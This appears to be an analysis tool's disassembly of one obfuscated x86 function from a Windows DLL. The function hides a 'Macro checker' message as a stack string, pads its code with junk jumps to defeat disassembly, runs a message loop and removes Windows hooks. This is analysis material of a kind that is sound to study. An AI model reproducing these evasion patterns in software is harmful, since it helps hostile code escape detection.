Function at 0x10012240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jae 0x1001223e
jmp 0x10012239
call fcn.10012240
jae 0x10012239
add esp, 4
jmp 0x10012245
dec dword [esp]
jno 0x1001224a
jns 0x10012235
jp 0x1001224e
add esp, 4
popf
jmp 0x10012255
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001226e
jne 0x1001226e
call 0x1fc155c2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x68
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x20
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0
push 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.10010bf0
add esp, 0xc
lea edx, [ebp - 0x38]
push edx
call fcn.10021e00
add esp, 4
xor eax, eax
test eax, eax
je 0x10012371
jne 0x10012370
call 0x930513f8
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001237f
jmp 0x10012381
je 0x1001237c
clc
jae 0x10012386
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x1001238b
jne 0x1001238b
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10012398
jmp 0x10012393
call 0x1001239a
jae 0x10012393
add esp, 4
jmp 0x1001239f
dec dword [esp]
jno 0x100123a4
jns 0x1001238f
jp 0x100123a8
add esp, 4
popf
jmp 0x100123af
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100123c8
jne 0x100123c8
call 0x1fc1571c
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10022100
clc
jae 0x100123e3
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x100123f0
jmp 0x100123eb
call 0x100123f2
jae 0x100123eb
add esp, 4
jmp 0x100123f7
dec dword [esp]
jno 0x100123fc
jns 0x100123e7
jp 0x10012400
add esp, 4
popf
jmp 0x10012407
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012420
jne 0x10012420
lcall 0x749a, 0x3eb037c
sti
jl 0x10012425
jmp 0x10012427
je 0x10012422
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10012441
jne 0x10012440
call 0x930514c8
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001244f
jne 0x1001244f
call 0xd5d961d6
or byte [eax], dl
add byte [edi], cl
test dword [ecx + 2], eax
add byte [eax], al
cmp dword [0x1008c5d8], 0
jne 0x1001269d
xor eax, eax
test eax, eax
je 0x10012465
jne 0x10012464
call 0x930514ec
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10012473
jmp 0x10012475
je 0x10012470
clc
jae 0x1001247a
ja 0x100123fe
je 0x1001247f
jne 0x1001247f
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x1001248c
jmp 0x10012487
call 0x1001248e
jae 0x10012487
add esp, 4
jmp 0x10012493
dec dword [esp]
jno 0x10012498
jns 0x10012483
jp 0x1001249c
add esp, 4
popf
jmp 0x100124a3
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100124bc
jne 0x100124bc
call 0x1fc15810
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x6c], 0x4d
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x63
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6f
mov byte [ebp - 0x67], 0x20
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x68
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 0x63
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x72
mov byte [ebp - 0x5f], 0x20
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 0x69
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0x7a
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x20
mov byte [ebp - 0x48], 0x74
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6d
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0
push 2
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x8a0]
push ecx
call fcn.10010bf0
add esp, 0xc
lea edx, [ebp - 0x6c]
push edx
call fcn.10021e00
add esp, 4
xor eax, eax
test eax, eax
je 0x100125bf
jne 0x100125be
call 0x93051646
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100125cd
jmp 0x100125cf
je 0x100125ca
clc
jae 0x100125d4
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x100125d9
jne 0x100125d9
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x100125e6
jmp 0x100125e1
call 0x100125e8
jae 0x100125e1
add esp, 4
jmp 0x100125ed
dec dword [esp]
jno 0x100125f2
jns 0x100125dd
jp 0x100125f6
add esp, 4
popf
jmp 0x100125fd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012616
jne 0x10012616
call 0x1fc1596a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10022100
clc
jae 0x10012631
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x1001263e
jmp 0x10012639
call 0x10012640
jae 0x10012639
add esp, 4
jmp 0x10012645
dec dword [esp]
jno 0x1001264a
jns 0x10012635
jp 0x1001264e
add esp, 4
popf
jmp 0x10012655
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001266e
jne 0x1001266e
lcall 0x749a, 0x3eb037c
sti
jl 0x10012673
jmp 0x10012675
je 0x10012670
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001268f
jne 0x1001268e
call 0x93051716
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001269d
jne 0x1001269d
call 0xd5d56424
or byte [eax], dl
add byte [ebp + 0xd], dh
cmp dword [0x1008c5d4], 0
jne 0x100126b3
cmp dword [0x1008c5d8], 0
je 0x1001298d
push 0
push 0
push 0
lea eax, [ebp - 0xde8]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x100126e6
lea ecx, [ebp - 0xde8]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0xde8]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x100126b3
xor eax, eax
test eax, eax
je 0x100126ef
jne 0x100126ee
call 0x93051776
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100126fd
jmp 0x100126ff
je 0x100126fa
clc
jae 0x10012704
ja 0x10012688
je 0x10012709
jne 0x10012709
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10012716
jmp 0x10012711
call 0x10012718
jae 0x10012711
add esp, 4
jmp 0x1001271d
dec dword [esp]
jno 0x10012722
jns 0x1001270d
jp 0x10012726
add esp, 4
popf
jmp 0x1001272d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012746
jne 0x10012746
call 0x1fc15a9a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0xa0], 0x4d
mov byte [ebp - 0x9f], 0x61
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], 0x6f
mov byte [ebp - 0x9b], 0x20
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x63
mov byte [ebp - 0x96], 0x6b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0x90], 0x20
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x74
mov byte [ebp - 0x8c], 0x20
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x69
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x6c
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x7a
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x64
mov byte [ebp - 0x80], 0x20
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x20
mov byte [ebp - 0x7c], 0x74
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x72
mov byte [ebp - 0x79], 0x6d
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0
push 3
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xca0]
push ecx
call fcn.10010bf0
add esp, 0xc
lea edx, [ebp - 0xa0]
push edx
call fcn.10021e00
add esp, 4
xor eax, eax
test eax, eax
je 0x100128af
jne 0x100128ae
call 0x93051936
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100128bd
jmp 0x100128bf
je 0x100128ba
clc
jae 0x100128c4
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x100128c9
jne 0x100128c9
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x100128d6
jmp 0x100128d1
call 0x100128d8
jae 0x100128d1
add esp, 4
jmp 0x100128dd
dec dword [esp]
jno 0x100128e2
jns 0x100128cd
jp 0x100128e6
add esp, 4
popf
jmp 0x100128ed
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012906
jne 0x10012906
call 0x1fc15c5a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10022100
clc
jae 0x10012921
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x1001292e
jmp 0x10012929
call 0x10012930
jae 0x10012929
add esp, 4
jmp 0x10012935
dec dword [esp]
jno 0x1001293a
jns 0x10012925
jp 0x1001293e
add esp, 4
popf
jmp 0x10012945
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001295e
jne 0x1001295e
lcall 0x749a, 0x3eb037c
sti
jl 0x10012963
jmp 0x10012965
je 0x10012960
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001297f
jne 0x1001297e
call 0x93051a06
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001298d
jne 0x1001298d
call 0x18c6fe32
adc byte [eax - 1], dl
adc eax, sym.imp.USER32.dll_UnhookWindowsHookEx
mov eax, dword [0x1008c5d4]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x1008c5d8]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c355
mov esp, ebp
pop ebp
ret 4